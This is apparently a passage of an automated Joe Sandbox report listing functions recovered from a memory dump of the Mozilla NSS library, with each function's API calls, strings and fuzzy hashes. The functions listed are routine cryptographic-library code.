Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 6b7f91341da946c339ea0fe5c764c709fe6cd7ad9626b244fce19f912133efe3
Instruction ID: 76c8a133580e4a6e13a34548b43f13edffd60079d44c5b06fb49059fbc76e69f
Opcode Fuzzy Hash: 6b7f91341da946c339ea0fe5c764c709fe6cd7ad9626b244fce19f912133efe3
Instruction Fuzzy Hash: 56515AB2E502059FD7108F69CC8496EB7B9EF46358F24412AEC189BF00E731ED4587E1

Function 6CF60FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CF61000

Part of subcall function 6CF19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE41A48), ref: 6CF19BB3
Part of subcall function 6CF19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE41A48), ref: 6CF19BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF61016

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_Unlock.NSS3(?), ref: 6CF61021

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF61046
PR_Unlock.NSS3(?), ref: 6CF6106B
PR_Lock.NSS3 ref: 6CF61079
PR_Unlock.NSS3 ref: 6CF61096
free.MOZGLUE(?), ref: 6CF610A7
free.MOZGLUE(?), ref: 6CF610B4
PR_DestroyCondVar.NSS3(?), ref: 6CF610BF
PR_DestroyCondVar.NSS3(?), ref: 6CF610CA
PR_DestroyCondVar.NSS3(?), ref: 6CF610D5
PR_DestroyCondVar.NSS3(?), ref: 6CF610E0
PR_DestroyLock.NSS3(?), ref: 6CF610EB
free.MOZGLUE(?), ref: 6CF61105

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: a1599be1184a71e322a6d55543bada7b42529696171a6703837748ccd248bc49
Instruction ID: bb7a55892f17c9f6799b3929e3c27c4138fbf1886b4286fd6d62a0a32b7001e2
Opcode Fuzzy Hash: a1599be1184a71e322a6d55543bada7b42529696171a6703837748ccd248bc49
Instruction Fuzzy Hash: 1D316FB5900802BBDB019F15ED41A45BB76FF01319B288134D40953F61E732F978DBD2

Function 6CDDDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CDDDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CDDDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CDDDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CDDDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDDDECD

Strings

%s at line %d of [%.10s], xrefs: 6CDDDF7C, 6CDDDFEC
database corruption, xrefs: 6CDDDF77, 6CDDDFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDDDF6D, 6CDDDFCC, 6CDDDFDD

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 3e3ade34e3dce86cfe783280927f527212541adcbebaecbbf54f05c5f6cae339
Instruction ID: 657504cec936f1b726198af4ab7c60cbde664201a86e6dabd6fb2f93f1dd9caa
Opcode Fuzzy Hash: 3e3ade34e3dce86cfe783280927f527212541adcbebaecbbf54f05c5f6cae339
Instruction Fuzzy Hash: F7A1B671A043419FDB10DF29C880A6AB7F5EF85318F16892DE8858BB61D731F945CFA2

Function 6CE9EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CE9EE0B

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9EEE1

Part of subcall function 6CE91D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CE91D7E
Part of subcall function 6CE91D50: EnterCriticalSection.KERNEL32(?), ref: 6CE91D8E
Part of subcall function 6CE91D50: PR_Unlock.NSS3(?), ref: 6CE91DD3

TlsGetValue.KERNEL32 ref: 6CE9EE51
EnterCriticalSection.KERNEL32(?), ref: 6CE9EE65
PR_Unlock.NSS3(?), ref: 6CE9EEA2
free.MOZGLUE(?), ref: 6CE9EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CE9EED0
PR_Unlock.NSS3(?), ref: 6CE9EF48
free.MOZGLUE(?), ref: 6CE9EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CE9EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CE9EFA4
free.MOZGLUE(?), ref: 6CE9EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE9F055
free.MOZGLUE(?), ref: 6CE9F060

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: c7ed8e2679d8435b5eed71f0f7375d69590c2f8aaa67db59b667f786d67c500b
Instruction ID: 96554f39abfa1b84691f7a7d8107fd905be08279950ed8541af33861d223eb0a
Opcode Fuzzy Hash: c7ed8e2679d8435b5eed71f0f7375d69590c2f8aaa67db59b667f786d67c500b
Instruction Fuzzy Hash: 79817275E00609ABDF00DFA5DC85BEE7BB5BF09358F244028E919A3711E731E954CBA1

Function 6CE64CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE64D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE64D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CE64DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE64E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE64E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE64E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE64E85
DER_Encode_Util.NSS3(?,?,6CFB05A4,00000000), ref: 6CE64EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE64F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE64F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE64F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE64F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE64F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE64FC8

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 29e4d7f134591c1cae88a331bffe593e46d4da9f73339492874de3b5133e56c1
Instruction ID: d2a4c970f5aeb897f4cbbadc938832c6944a5939833226843180caecaac7a040
Opcode Fuzzy Hash: 29e4d7f134591c1cae88a331bffe593e46d4da9f73339492874de3b5133e56c1
Instruction Fuzzy Hash: 2F81C071A583019FE701CF26D851B5AB7F4AB85308F24892EF958DBB41E731E9058B92

Function 6CEA5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CEA5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CEA5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CEA5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CEA5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CEA5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CEA5E18
TlsGetValue.KERNEL32 ref: 6CEA5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CEA5E72
PR_Unlock.NSS3(?), ref: 6CEA5E8B

Part of subcall function 6CE9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE9F854
Part of subcall function 6CE9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE9F868
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE9F882
Part of subcall function 6CE9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE9F889
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE9F8A4
Part of subcall function 6CE9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE9F8AB
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE9F8C9
Part of subcall function 6CE9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE9F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6CEA5D3D
d, xrefs: 6CEA5C36

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: e139f74333f75b091f247ce0d31d4bff69fe193082326d0658c465ad8e36a05a
Instruction ID: 1537394ea45c457696cdf3f4d02eba8edd49803efded1319eeedc801370f69a4
Opcode Fuzzy Hash: e139f74333f75b091f247ce0d31d4bff69fe193082326d0658c465ad8e36a05a
Instruction Fuzzy Hash: FF71E3B1E06601AFEB009FA4DC4576E7375AF4131CF344439E8099EB42EB36E917C692

Function 6CE98F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CE99582), ref: 6CE98F5B

Part of subcall function 6CEABE30: SECOID_FindOID_Util.NSS3(6CE6311B,00000000,?,6CE6311B,?), ref: 6CEABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CE98F6A

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE98FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CE98FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF7D820,6CE99576), ref: 6CE98FF9
DER_GetInteger_Util.NSS3(?), ref: 6CE9901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CE9903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE99062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CE990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CE990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CE990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CE9912D
free.MOZGLUE(00000000), ref: 6CE99136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE99145

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 0513a3c24328ce2c61f3c068a86fa04351536fef0936476f464284d48f7e2ac7
Instruction ID: 1db336200b021d3cd09bd6e48ab35a144c50b4d0b1a6a6c73b3fb1422aebdfc6
Opcode Fuzzy Hash: 0513a3c24328ce2c61f3c068a86fa04351536fef0936476f464284d48f7e2ac7
Instruction Fuzzy Hash: AF51D1B2A042009FEB10CF29DC41B9BB7F4AF84318F254529E85997751E735E945CB92

Function 6CE4AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CE4AF47

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

FreeLibrary.KERNEL32(?), ref: 6CE4AF6D
free.MOZGLUE(?), ref: 6CE4AFA4
free.MOZGLUE(?), ref: 6CE4AFAA
PR_ExitMonitor.NSS3 ref: 6CE4AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CE4AFF5
PR_ExitMonitor.NSS3 ref: 6CE4B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE4B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CE4B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE4B03C

Strings

%s decr => %d, xrefs: 6CE4AFF0
Unloaded library %s, xrefs: 6CE4B023

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 2cd3ff4d83d5b0b5973c2a365a721f46b3aff920634c8b0446012b98bebd0d82
Instruction ID: f4399ed8710989319086a42e1f23b64c8a7ea266d58070eb7215c6992e4dcbae
Opcode Fuzzy Hash: 2cd3ff4d83d5b0b5973c2a365a721f46b3aff920634c8b0446012b98bebd0d82
Instruction Fuzzy Hash: FB31D4B5F44511ABEB019F65EC82B19B776EB0532DB38C139E80587B40F722E825C7E5

Function 6CE96C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE9781D,00000000,6CE8BE2C,?,6CE96B1D,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE9781D,?,6CE8BE2C,?), ref: 6CE96C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE9781D), ref: 6CE96C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE96C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE96C96

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE96CAA

Strings

rdb:, xrefs: 6CE96C69
dbm:, xrefs: 6CE96C3A
sql:, xrefs: 6CE96C52
extern:, xrefs: 6CE96C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6CE96C91
dbm, xrefs: 6CE96CA4

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: b86d0a08edf9ee7d5bf875924b56e7ab6a3884b9ccf6ae9f1eae2966b7e88702
Instruction ID: a8273d1161c51c89e4fef239ae82fed38083e58e9670bc18c664b318574b23e8
Opcode Fuzzy Hash: b86d0a08edf9ee7d5bf875924b56e7ab6a3884b9ccf6ae9f1eae2966b7e88702
Instruction Fuzzy Hash: EA01A2A1B0230267FA8027BA6D8AF66756C9F4115CF340433FE14E0A81EB93E91580E6

Function 6CEA4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CE678F8), ref: 6CEA4E6D

Part of subcall function 6CE409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CE406A2,00000000,?), ref: 6CE409F8
Part of subcall function 6CE409E0: malloc.MOZGLUE(0000001F), ref: 6CE40A18
Part of subcall function 6CE409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE40A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CE678F8), ref: 6CEA4ED9

Part of subcall function 6CE95920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CE97703,?,00000000,00000000), ref: 6CE95942
Part of subcall function 6CE95920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CE97703), ref: 6CE95954
Part of subcall function 6CE95920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE9596A
Part of subcall function 6CE95920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE95984
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CE95999
Part of subcall function 6CE95920: free.MOZGLUE(00000000), ref: 6CE959BA
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CE959D3
Part of subcall function 6CE95920: free.MOZGLUE(00000000), ref: 6CE959F5
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CE95A0A
Part of subcall function 6CE95920: free.MOZGLUE(00000000), ref: 6CE95A2E
Part of subcall function 6CE95920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CE95A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4EB3

Part of subcall function 6CEA4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEA4EB8,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA484C
Part of subcall function 6CEA4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEA4EB8,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA486D
Part of subcall function 6CEA4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CEA4EB8,?), ref: 6CEA4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4EC0

Part of subcall function 6CEA4470: TlsGetValue.KERNEL32(00000000,?,6CE67296,00000000), ref: 6CEA4487
Part of subcall function 6CEA4470: EnterCriticalSection.KERNEL32(?,?,?,6CE67296,00000000), ref: 6CEA44A0
Part of subcall function 6CEA4470: PR_Unlock.NSS3(?,?,?,?,6CE67296,00000000), ref: 6CEA44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CF7DCB0,00000000), ref: 6CEA4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CEA501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CE678F8), ref: 6CEA506B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 913ba793c25b92f11224f37ab560708a2f3452da8a2ce1b2a12aa0aadb7e2f68
Instruction ID: 8cea068cfdbc06d3dc24f56db6dbb8a351372a5958a5fdf83769cb46cca49ade
Opcode Fuzzy Hash: 913ba793c25b92f11224f37ab560708a2f3452da8a2ce1b2a12aa0aadb7e2f68
Instruction Fuzzy Hash: 7E5135B5D01601DFEB109FA5EC41A9A76B4FF0531CF34563AEC068AB12FB32D516CA92

